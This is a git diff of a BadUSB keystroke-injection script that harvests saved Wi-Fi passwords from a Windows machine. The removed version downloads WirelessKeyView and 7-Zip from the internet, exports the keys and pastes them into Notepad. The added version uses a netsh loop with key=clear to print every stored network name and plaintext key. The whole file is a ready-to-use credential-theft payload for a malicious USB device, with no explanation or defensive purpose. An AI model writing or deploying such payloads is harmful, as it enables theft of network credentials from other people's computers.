diff --git a/BadUSB/Show_WiFi_Passwords.txt b/BadUSB/Show_WiFi_Passwords.txt index 57516e25..d7ddf6d1 100644 --- a/BadUSB/Show_WiFi_Passwords.txt +++ b/BadUSB/Show_WiFi_Passwords.txt @@ -1,37 +1,7 @@ GUI r DELAY 1000 -STRING powershell +STRING cmd ENTER DELAY 1000 -STRING mkdir \temp ; cd \temp ; Invoke-WebRequest -Headers @{'Referer' = 'https://www.nirsoft.net/utils/wireless_key.html'} -Uri https://www.nirsoft.net/toolsdownload/wirelesskeyview.zip -OutFile wkv.zip ; Invoke-WebRequest -Uri https://www.7-zip.org/a/7za920.zip -OutFile 7z.zip ; Expand-Archive 7z.zip ; .\7z\7za.exe e wkv.zip +STRING for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | netsh wlan show profiles %j key=clear | findstr /C:"SSID name" /C:"Key Content" ENTER -DELAY 5000 -STRING WKey4567# -ENTER -STRING .\WirelessKeyView.exe /export keys.txt -ENTER -DELAY 1000 -LEFT -ENTER -DELAY 1000 -STRING NOTEPAD.EXE keys.txt -ENTER -DELAY 1000 -CTRL A -CTRL C -ALT F4 -DELAY 1000 -STRING cd \ -ENTER -STRING rmdir -R /temp -ENTER -STRING EXIT -ENTER -GUI r -DELAY 1000 -STRING notepad.exe -ENTER -DELAY 1000 -CTRL V -ENTER -STRING Done... \ No newline at end of file